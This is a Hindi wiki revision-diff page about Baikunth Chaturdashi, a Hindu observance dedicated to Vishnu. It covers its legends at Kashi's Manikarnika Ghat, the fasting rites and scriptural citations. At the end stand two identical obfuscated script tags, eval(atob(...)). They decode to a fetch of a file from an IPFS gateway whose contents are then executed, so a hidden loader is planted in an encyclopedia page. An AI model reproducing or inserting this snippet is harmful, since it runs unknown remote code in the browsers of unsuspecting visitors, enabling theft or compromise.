बैकुंठ चतुर्दशी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replacement - "पश्चात " to "पश्चात् ")
m (Text replacement - "आंखे" to "आँखें")
 
(2 intermediate revisions by 2 users not shown)
Line 4: Line 4:
|विवरण='बैकुंठ चतुर्दशी' का [[हिन्दू धर्म]] में बड़ा ही महत्त्व है। यह [[तिथि]] [[विष्णु|भगवान विष्णु]] को समर्पित है।
|विवरण='बैकुंठ चतुर्दशी' का [[हिन्दू धर्म]] में बड़ा ही महत्त्व है। यह [[तिथि]] [[विष्णु|भगवान विष्णु]] को समर्पित है।
|शीर्षक 1=अनुयायी
|शीर्षक 1=अनुयायी
|पाठ 1=हिन्दू, भारतीय, प्रवासी भारतीय।
|पाठ 1=[[हिन्दू]], भारतीय, प्रवासी भारतीय।
|शीर्षक 2=तिथि
|शीर्षक 2=तिथि
|पाठ 2=[[कार्तिक|कार्तिक माह]], [[शुक्ल पक्ष]], [[चतुर्दशी|चतुर्दशी तिथि]]।
|पाठ 2=[[कार्तिक|कार्तिक माह]], [[शुक्ल पक्ष]], [[चतुर्दशी|चतुर्दशी तिथि]]।
Line 28: Line 28:
|अद्यतन=
|अद्यतन=
}}
}}
'''बैकुंठ चतुर्दशी''' [[कार्तिक मास]] के [[शुक्ल पक्ष]] की [[चतुर्दशी]] को कहते हैं। इसका उल्लेख '[[निर्णयसिन्धु]]'<ref>[[निर्णयसिन्धु]] पृष्ठ 206</ref> में हुआ है। इसके अतिरिक्त '[[स्मृतिकौस्तुभ]]'<ref>[[स्मृतिकौस्तुभ]], पृष्ठ 388-389</ref> तथा '[[पुरुषार्थचिंतामणि]]'<ref>[[पुरुषार्थचिंतामणि]], पृष्ठ 246-247</ref> में भी इस चतुर्दशी का वर्णन हुआ है। दुर्घटना रहित जीवन की कामना रखने वाले को इस दिन [[विष्णु|श्रीविष्णु]] का नाम स्मरण करना चाहिए। बेहतर नौकरी और कैरियर के लिए बैकुंठ चतुर्दशी के दिन नतमस्तक होकर भगवान विष्णु को प्रणाम करना चाहिए और सप्त ऋषियों का आवाहन उनके नामों से करना चाहिए।
'''बैकुंठ चतुर्दशी''' [[कार्तिक मास]] के [[शुक्ल पक्ष]] की [[चतुर्दशी]] को कहते हैं। इसका उल्लेख '[[निर्णयसिन्धु]]'<ref>[[निर्णयसिन्धु]] पृष्ठ 206</ref> में हुआ है। इसके अतिरिक्त '[[स्मृतिकौस्तुभ]]'<ref>[[स्मृतिकौस्तुभ]], पृष्ठ 388-389</ref> तथा '[[पुरुषार्थचिंतामणि]]'<ref>[[पुरुषार्थचिंतामणि]], पृष्ठ 246-247</ref> में भी इस चतुर्दशी का वर्णन हुआ है। दुर्घटना रहित जीवन की कामना रखने वाले को इस दिन [[विष्णु|श्रीविष्णु]] का नाम स्मरण करना चाहिए। बेहतर नौकरी और कैरियर के लिए बैकुंठ चतुर्दशी के दिन नतमस्तक होकर भगवान विष्णु को प्रणाम करना चाहिए और सप्त ऋषियों का आवाहन उनके नामों से करना चाहिए।
==कथा==
==कथा==
[[कथा]] है कि कार्तिक माह के शुक्ल पक्ष कि चतुर्दशी को हेमलंब वर्ष में अरुणोदय काल में, ब्रह्म मुहूर्त में स्वयं भगवान [[विष्णु]] ने [[वाराणसी]] में मणिकर्णिका घाट पर [[स्नान]] किया था। पाशुपत व्रत करके विश्वेश्वर ने यहाँ [[पूजा]] कि थी। तभी से इस दिन को 'काशी विश्वनाथ स्थापना दिवस' के रूप में भी मनाया जाता है। ऐसी मान्यता है कि बैकुंठाधिपति भगवान विष्णु की पूजा करने से मनोवांछित फल की प्राप्ति होती है और बैकुंठ धाम में निवास प्राप्त होता है।
[[कथा]] है कि कार्तिक माह के शुक्ल पक्ष कि चतुर्दशी को हेमलंब वर्ष में अरुणोदय काल में, ब्रह्म मुहूर्त में स्वयं [[विष्णु|भगवान विष्णु]] ने [[वाराणसी]] में [[मणिकर्णिका घाट वाराणसी|मणिकर्णिका घाट]] पर [[स्नान]] किया था। पाशुपत व्रत करके विश्वेश्वर ने यहाँ [[पूजा]] कि थी। तभी से इस दिन को 'काशी विश्वनाथ स्थापना दिवस' के रूप में भी मनाया जाता है। ऐसी मान्यता है कि बैकुंठाधिपति भगवान विष्णु की पूजा करने से मनोवांछित फल की प्राप्ति होती है और बैकुंठ धाम में निवास प्राप्त होता है।


*एक अन्य कथानक के अनुसार भगवान विष्णु ने [[नारद]] को वचन दिया था कि जो नर-नारी इस दिन व्रत करेंगे, उनके लिए स्वर्ग के द्वार खुल जायेंगे और वे यह लीला समाप्त कर बैकुंठ में निवास करेंगे। [[कार्तिक पूर्णिमा]] के ठीक एक दिन पहले पड़ने वाले इस व्रत का एक महत्व यह भी है कि यह व्रत '[[देवोत्थान एकादशी]]' के ठीक तीन दिन बाद ही होता है। बैकुंठ के दिन श्री विष्णु जी की पूजा रात में करने का विधान है।
*एक अन्य कथानक के अनुसार भगवान विष्णु ने [[नारद]] को वचन दिया था कि जो नर-नारी इस दिन व्रत करेंगे, उनके लिए स्वर्ग के द्वार खुल जायेंगे और वे यह लीला समाप्त कर बैकुंठ में निवास करेंगे। [[कार्तिक पूर्णिमा]] के ठीक एक दिन पहले पड़ने वाले इस व्रत का एक महत्व यह भी है कि यह व्रत '[[देवोत्थान एकादशी]]' के ठीक तीन दिन बाद ही होता है। बैकुंठ के दिन श्री विष्णु जी की पूजा रात में करने का विधान है।


*एक और [[कथा]] के अनुसार एक बार भगवान विष्णु देवाधिदेव महादेव का पूजन करने के लिए [[काशी]] आए। वहाँ मणिकर्णिका घाट पर स्नान करके उन्होंने एक हज़ार स्वर्ण कमल पुष्पों से भगवान विश्वनाथ के पूजन का संकल्प किया। अभिषेक के बाद जब वे पूजन करने लगे तो शिवजी ने उनकी [[भक्ति]] की परीक्षा के उद्देश्य से एक कमल पुष्प कम कर दिया। भगवान श्रीहरि को पूजन की पूर्ति के लिए एक हज़ार [[कमल]] पुष्प चढ़ाने थे। एक [[पुष्प]] की कमी देखकर उन्होंने सोचा मेरी [[आंख|आंखें]] भी तो कमल के ही समान हैं। मुझे 'कमल नयन' और 'पुंडरीकाक्ष' कहा जाता है। यह विचार कर भगवान विष्णु अपनी कमल समान [[आंख]] चढ़ाने को प्रस्तुत हुए। विष्णु जी की इस अगाध भक्ति से प्रसन्न होकर देवाधिदेव महादेव प्रकट होकर बोले- "हे विष्णु! तुम्हारे समान संसार में दूसरा कोई मेरा [[भक्त]] नहीं है। आज की यह कार्तिक शुक्ल चतुर्दशी अब 'बैकुंठ चतुर्दशी' कहलायेगी और इस दिन व्रत पूर्वक जो पहले आपका पूजन करेगा, उसे बैकुंठ लोक की प्राप्ति होगी।
*एक और [[कथा]] के अनुसार एक बार भगवान विष्णु [[शिव|देवाधिदेव महादेव]] का पूजन करने के लिए [[काशी]] आए। वहाँ मणिकर्णिका घाट पर स्नान करके उन्होंने एक हज़ार स्वर्ण [[कमल]] पुष्पों से भगवान विश्वनाथ के पूजन का संकल्प किया। अभिषेक के बाद जब वे पूजन करने लगे तो शिवजी ने उनकी [[भक्ति]] की परीक्षा के उद्देश्य से एक कमल पुष्प कम कर दिया। भगवान श्रीहरि को पूजन की पूर्ति के लिए एक हज़ार [[कमल]] पुष्प चढ़ाने थे। एक [[पुष्प]] की कमी देखकर उन्होंने सोचा मेरी [[आंख|आँखेंं]] भी तो कमल के ही समान हैं। मुझे 'कमल नयन' और 'पुंडरीकाक्ष' कहा जाता है। यह विचार कर भगवान विष्णु अपनी कमल समान [[आंख]] चढ़ाने को प्रस्तुत हुए। विष्णु जी की इस अगाध भक्ति से प्रसन्न होकर देवाधिदेव महादेव प्रकट होकर बोले- "हे विष्णु! तुम्हारे समान संसार में दूसरा कोई मेरा [[भक्त]] नहीं है। आज की यह कार्तिक शुक्ल चतुर्दशी अब 'बैकुंठ चतुर्दशी' कहलायेगी और इस दिन व्रत पूर्वक जो पहले आपका पूजन करेगा, उसे बैकुंठ लोक की प्राप्ति होगी।
==व्रत विधि==
==व्रत विधि==
बैकुंठ चतुर्दशी के व्रत आदि का उल्लेख [[श्रीमद्भागवदगीता|श्रीमद्भागवद]] के सातवें स्कन्द के पाँचवें अध्याय के [[श्लोक]] 23 तथा 24 में हुआ है-
बैकुंठ चतुर्दशी के व्रत आदि का उल्लेख [[श्रीमद्भागवदगीता|श्रीमद्भागवद]] के सातवें स्कन्द के पाँचवें अध्याय के [[श्लोक]] 23 तथा 24 में हुआ है-
Line 42: Line 41:
अर्चन वन्दन दास्य सख्यामातम निवेदनम।</poem></blockquote>
अर्चन वन्दन दास्य सख्यामातम निवेदनम।</poem></blockquote>


अर्थात कथाएँ सुनकर, कीर्तन करके, नाम स्मरण करके, विष्णु जी की मूर्ति के रूप में, सखाभाव से आप अपने को श्री विष्णु जी को समर्पित करें।
अर्थात् कथाएँ सुनकर, कीर्तन करके, नाम स्मरण करके, विष्णु जी की मूर्ति के रूप में, सखाभाव से आप अपने को श्री विष्णु जी को समर्पित करें।


इस दिन प्रात: काल में स्नानादि से निवृत्त होकर दिन भर व्रत रखकर विष्णु भगवान की [[कमल|कमल पुष्प]] से पूजा की जानी चाहिए। तत्पश्चात् भगवान [[शंकर]] की भी विधिवत पूजा करनी चाहिए।
इस दिन प्रात: काल में स्नानादि से निवृत्त होकर दिन भर व्रत रखकर विष्णु भगवान की [[कमल|कमल पुष्प]] से पूजा की जानी चाहिए। तत्पश्चात् भगवान [[शंकर]] की भी विधिवत पूजा करनी चाहिए।
Line 51: Line 50:
==संबंधित लेख==
==संबंधित लेख==
{{पर्व और त्योहार}}{{व्रत और उत्सव}}
{{पर्व और त्योहार}}{{व्रत और उत्सव}}
[[Category:व्रत और उत्सव]][[Category:संस्कृति कोश]] [[Category:पर्व और त्योहार]]
[[Category:व्रत और उत्सव]][[Category:संस्कृति कोश]][[Category:पर्व और त्योहार]][[Category:हिन्दू धर्म कोश]]
__INDEX__
__INDEX__
__NOTOC__

Latest revision as of 05:25, 4 February 2021

बैकुंठ चतुर्दशी
विवरण 'बैकुंठ चतुर्दशी' का हिन्दू धर्म में बड़ा ही महत्त्व है। यह तिथि भगवान विष्णु को समर्पित है।
अनुयायी हिन्दू, भारतीय, प्रवासी भारतीय।
तिथि कार्तिक माह, शुक्ल पक्ष, चतुर्दशी तिथि
मान्यता इस दिन बैकुंठाधिपति भगवान विष्णु की पूजा करने से मनोवांछित फल की प्राप्ति होती है और बैकुंठ धाम में निवास प्राप्त होता है।
संबंधित लेख विष्णु की आरती, विष्णु-वन्दना, विष्णु के अवतार, सत्यनारायण जी की आरती
अन्य जानकारी बैकुंठ चतुर्दशी के व्रत आदि का उल्लेख श्रीमद्भागवद के सातवें स्कन्द के पाँचवें अध्याय के श्लोक 23 तथा 24 में हुआ है।

बैकुंठ चतुर्दशी कार्तिक मास के शुक्ल पक्ष की चतुर्दशी को कहते हैं। इसका उल्लेख 'निर्णयसिन्धु'[1] में हुआ है। इसके अतिरिक्त 'स्मृतिकौस्तुभ'[2] तथा 'पुरुषार्थचिंतामणि'[3] में भी इस चतुर्दशी का वर्णन हुआ है। दुर्घटना रहित जीवन की कामना रखने वाले को इस दिन श्रीविष्णु का नाम स्मरण करना चाहिए। बेहतर नौकरी और कैरियर के लिए बैकुंठ चतुर्दशी के दिन नतमस्तक होकर भगवान विष्णु को प्रणाम करना चाहिए और सप्त ऋषियों का आवाहन उनके नामों से करना चाहिए।

कथा

कथा है कि कार्तिक माह के शुक्ल पक्ष कि चतुर्दशी को हेमलंब वर्ष में अरुणोदय काल में, ब्रह्म मुहूर्त में स्वयं भगवान विष्णु ने वाराणसी में मणिकर्णिका घाट पर स्नान किया था। पाशुपत व्रत करके विश्वेश्वर ने यहाँ पूजा कि थी। तभी से इस दिन को 'काशी विश्वनाथ स्थापना दिवस' के रूप में भी मनाया जाता है। ऐसी मान्यता है कि बैकुंठाधिपति भगवान विष्णु की पूजा करने से मनोवांछित फल की प्राप्ति होती है और बैकुंठ धाम में निवास प्राप्त होता है।

  • एक अन्य कथानक के अनुसार भगवान विष्णु ने नारद को वचन दिया था कि जो नर-नारी इस दिन व्रत करेंगे, उनके लिए स्वर्ग के द्वार खुल जायेंगे और वे यह लीला समाप्त कर बैकुंठ में निवास करेंगे। कार्तिक पूर्णिमा के ठीक एक दिन पहले पड़ने वाले इस व्रत का एक महत्व यह भी है कि यह व्रत 'देवोत्थान एकादशी' के ठीक तीन दिन बाद ही होता है। बैकुंठ के दिन श्री विष्णु जी की पूजा रात में करने का विधान है।
  • एक और कथा के अनुसार एक बार भगवान विष्णु देवाधिदेव महादेव का पूजन करने के लिए काशी आए। वहाँ मणिकर्णिका घाट पर स्नान करके उन्होंने एक हज़ार स्वर्ण कमल पुष्पों से भगवान विश्वनाथ के पूजन का संकल्प किया। अभिषेक के बाद जब वे पूजन करने लगे तो शिवजी ने उनकी भक्ति की परीक्षा के उद्देश्य से एक कमल पुष्प कम कर दिया। भगवान श्रीहरि को पूजन की पूर्ति के लिए एक हज़ार कमल पुष्प चढ़ाने थे। एक पुष्प की कमी देखकर उन्होंने सोचा मेरी आँखेंं भी तो कमल के ही समान हैं। मुझे 'कमल नयन' और 'पुंडरीकाक्ष' कहा जाता है। यह विचार कर भगवान विष्णु अपनी कमल समान आंख चढ़ाने को प्रस्तुत हुए। विष्णु जी की इस अगाध भक्ति से प्रसन्न होकर देवाधिदेव महादेव प्रकट होकर बोले- "हे विष्णु! तुम्हारे समान संसार में दूसरा कोई मेरा भक्त नहीं है। आज की यह कार्तिक शुक्ल चतुर्दशी अब 'बैकुंठ चतुर्दशी' कहलायेगी और इस दिन व्रत पूर्वक जो पहले आपका पूजन करेगा, उसे बैकुंठ लोक की प्राप्ति होगी।

व्रत विधि

बैकुंठ चतुर्दशी के व्रत आदि का उल्लेख श्रीमद्भागवद के सातवें स्कन्द के पाँचवें अध्याय के श्लोक 23 तथा 24 में हुआ है-

श्रवण कीर्तन विष्णो: स्मरण याद्सेवनम ;
अर्चन वन्दन दास्य सख्यामातम निवेदनम।

अर्थात् कथाएँ सुनकर, कीर्तन करके, नाम स्मरण करके, विष्णु जी की मूर्ति के रूप में, सखाभाव से आप अपने को श्री विष्णु जी को समर्पित करें।

इस दिन प्रात: काल में स्नानादि से निवृत्त होकर दिन भर व्रत रखकर विष्णु भगवान की कमल पुष्प से पूजा की जानी चाहिए। तत्पश्चात् भगवान शंकर की भी विधिवत पूजा करनी चाहिए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>